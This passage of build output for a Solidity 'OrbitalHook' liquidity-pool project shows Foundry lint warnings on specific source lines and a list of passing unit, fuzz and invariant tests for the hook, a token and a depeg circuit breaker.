╭▸ src/OrbitalHook.sol:436:13\n    │\n436 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:448:17\n    │\n448 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:859:39\n    │\n859 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n    │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:451:17\n    │\n451 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:453:17\n    │\n453 │                 poolManager.burn(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:454:17\n    │\n454 │                 poolManager.take(c, data.account, amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:860:93\n    │\n860 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n    │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:484:26\n    │\n484 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:17\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:31\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:669:64\n    │\n669 │             boundary = OrbitalMath.alphaIntNorm(s, sqrtN, c) > int256(lv[l].kNorm);\n    │                                                                ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:26\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:28\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:44\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:61\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                             ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:75\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                                           ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:19\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:105\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:29\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:79\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                                               ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:698:19\n    │\n698 │             val = int256(_x[k]) - xBound;\n    │                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:20\n    │\n700 │             return uint256(val) * radius / c.r;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:702:26\n    │\n702 │         return val > 0 ? uint256(val) : 0;\n    │                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:746:23\n    │\n746 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:170:68\n    │\n170 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:761:38\n    │\n761 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:188:26\n    │\n188 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:213:20\n    │\n213 │         if (b < 0) revert PlaneUnreachable();\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:222:28\n    │\n222 │         if (chosen < tMin) revert PlaneUnreachable();\n    │                            ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:772:33\n    │\n772 │                 if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:841:50\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:793:32\n    │\n793 │         uint256 qT = wT * wT + sT * sT / n;\n    │                                ━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:815:28\n    │\n815 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:816:64\n    │\n816 │                 if (k >= aNow && k <= aAfter && (!found || k < int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:825:28\n    │\n825 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:64\n    │\n826 │                 if (k >= aAfter && k <= aNow && (!found || k > int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:21\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                     ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:36\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:25\n    │\n839 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:31\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:51\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                                                   ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:13\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:37\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                     ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":6542,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 960.15µs (961.53µs CPU time)\n\nRan 15 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29851)\n[PASS] test_callbackAdminAndPayment() (gas: 190077)\n[PASS] test_callbackConstructorChecks() (gas: 10398)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 131106)\n[PASS] test_callbackRefusesNonProxy() (gas: 42580)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 163825)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 287590)\n[PASS] test_inBandPriceDoesNothing() (gas: 80646)\n[PASS] test_nonPositivePriceTrips() (gas: 89442)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 104912)\n[PASS] test_reactRefusesNonSystemCaller() (gas: 36537)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 91668)\n[PASS] test_reactiveConfigValidation() (gas: 6388)\n[PASS] test_reactivePaymentHooks() (gas: 115375)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 59657)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 21.14ms (1.28ms CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 33286845)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17463215)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 59.99ms (41.71ms CPU time)\n\nRan 9 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 611333, ~: 626186)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321919, ~: 322596)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1633, ~: 1653)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 3199)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 139.96ms (205.77ms CPU time)\n\nRan 1 test for test/invariant/OrbitalTokenInvariant.t.sol:OrbitalTokenInvariantTest\n[PASS]\nOrbitalTokenInvariantTest invariants:\n[PASS] invariant_balancesSumToSupply\n[PASS] invariant_supplyIsFixed\n OrbitalTokenInvariantTest invariants (runs: 64, calls: 2560, reverts: 0)\n\n╭---------------------+------------------------+-------+---------+----------╮\n| Contract            | Selector               | Calls | Reverts | Discards |\n+===========================================================================+\n| OrbitalTokenHandler | approveAndTransferFrom | 1287  | 0       | 0        |\n|---------------------+------------------------+-------+---------+----------|\n| OrbitalTokenHandler | transfer               | 1273  | 0       | 0        |\n╰---------------------+------------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 275.67ms (273.46ms CPU time)\n\nRan 21 tests for test/ReactiveEdge.t.sol:ReactiveEdgeTest\n[PASS] testFuzz_nonPositivePricesAlwaysTrip(int256,uint256) (runs: 500, μ: 909410, ~: 909390)\n[PASS] testFuzz_pegIsAlwaysInBandAndBandIsSymmetric(uint256,int256) (runs: 500, μ: 887722, ~: 889054)\n[PASS] test_breakerCanOnlyPauseNeverResume() (gas: 381293)\n[PASS] test_callbackAcceptsPlainEther() (gas: 33085)\n[PASS] test_callbackPayloadCarriesFeedPriceAndRound() (gas: 82052)\n[PASS] test_callbackPaymentFailsWhenUnderfunded() (gas: 78129)\n[PASS] test_callbackWithdrawFailures() (gas: 294108)\n[PASS] test_constructorRejectsNonPositivePegAndZeroCallback() (gas: 447123)\n[PASS] test_deliveryWhilePausedIsHarmlessAndStillEmits() (gas: 137425)\n[PASS] test_depegEmitsDepegDetectedBeforeCallback() (gas: 50242)\n[PASS] test_inBandEmitsPriceInBandAndNoCallback() (gas: 43623)\n[PASS] test_networkCopySubscribesToTheFeedInItsConstructor() (gas: 1306291)\n[PASS] test_networkCopySubscriptionManagementIsOwnerOnly() (gas: 1472053)\n[PASS] test_ownerOfTheCallbackCannotTriggerItDirectly() (gas: 45075)\n[PASS] test_proxyRotationIsImmutable() (gas: 911992)\n[PASS] test_reactRejectsTheSameLogShapeFromAnotherAggregator() (gas: 45314)\n[PASS] test_reactVmCopyNeverTalksToTheSystemContract() (gas: 8297)\n[PASS] test_reactivePaymentFailsWhenUnderfunded() (gas: 200236)\n[PASS] test_rvmIdRotationRejectsTheOldId() (gas: 188793)\n[PASS] test_widestBandStillTripsOnCollapse() (gas: 882127)\n[PASS] test_zeroBandTripsOnAnyDeviation() (gas: 870564)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 335.79ms (628.75ms CPU time)\n\nRan 27 tests for test/OrbitalHookEdge.t.sol:OrbitalHookEdgeTest\n[PASS] testFuzz_depositWithdrawCycleNeverProfits(uint256,uint256,uint256) (runs: 300, μ: 2225076, ~: 2351547)\n[PASS] testFuzz_exactOutNeverCheaperThanExactInAcrossTheSameSize(uint256,bool) (runs: 300, μ: 1841458, ~: 1539928)\n[PASS] test_allOrbitalPoolsShareOneSphere() (gas: 4317883)\n[PASS] test_basketTokenWithoutCodeCanNeverBeDeposited() (gas: 41236634)\n[PASS] test_collectFeesEdges() (gas: 1608448)\n[PASS] test_constructorBoundsOnBasketAndLevels() (gas: 7141436)\n[PASS] test_depositIntoPinnedTickThenUnpinAndExit() (gas: 5018364)\n[PASS] test_depositWhileAllPinnedOnlyIntoThePinnedTick() (gas: 2271728)\n[PASS] test_eightTokenBasketWorksEndToEnd() (gas: 14730901)\n[PASS] test_emptyTickDepositedPastItsPlaneOpensPinned() (gas: 13246333)\n[PASS] test_exactOutCrossesTickAndMatchesQuote() (gas: 2565091)\n[PASS] test_feeOnTransferBasketTokenCannotDeposit() (gas: 27383293)\n[PASS] test_feesAreSplitByRadiusAcrossLps() (gas: 1709819)\n[PASS] test_formerOwnerLosesEverything() (gas: 170626)\n[PASS] test_hugeSwapsRevertInsteadOfOverflowing() (gas: 1644220)\n[PASS] test_intruderCannotDriveTheHooksSettlement() (gas: 1347865)\n[PASS] test_maxFeeSwapChargesOnePercent() (gas: 1791693)\n[PASS] test_oneWeiSwapsNeverPayOutMoreThanPar() (gas: 1495540)\n[PASS] test_pauseBlocksOrbitalPoolInitialisationToo() (gas: 27018676)\n[PASS] test_pauseIsIdempotentAndOnlyEmitsOnChange() (gas: 198300)\n[PASS] test_pinnedLpCanAlwaysLeaveEvenWhenNoInteriorRemains() (gas: 2384012)\n[PASS] test_quoteRejectsBadTokens() (gas: 1370141)\n[PASS] test_quotesRefuseBeforeAnyLiquidity() (gas: 289484)\n[PASS] test_rotatedGuardianLosesPausePower() (gas: 232819)\n[PASS] test_transferFromReturningFalseIsAFailure() (gas: 27612369)\n[PASS] test_withdrawWithoutPositionIsRefused() (gas: 862865)\n[PASS] test_zeroFeeSwapAccruesNothing() (gas: 1412114)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 344.85ms (821.15ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1703005, ~: 1721522)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2301178, ~: 2615441)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1580297, ~: 1412640)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 149299)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 608724)\n[PASS] test_constructorRejectsBadConfig() (gas: 10105582)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3361049)\n[PASS] test_depositRejectsBadInputs() (gas: 167669)\n[PASS] test_depositRespectsMaxAmounts() (gas: 159832)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1532115)\n[PASS] 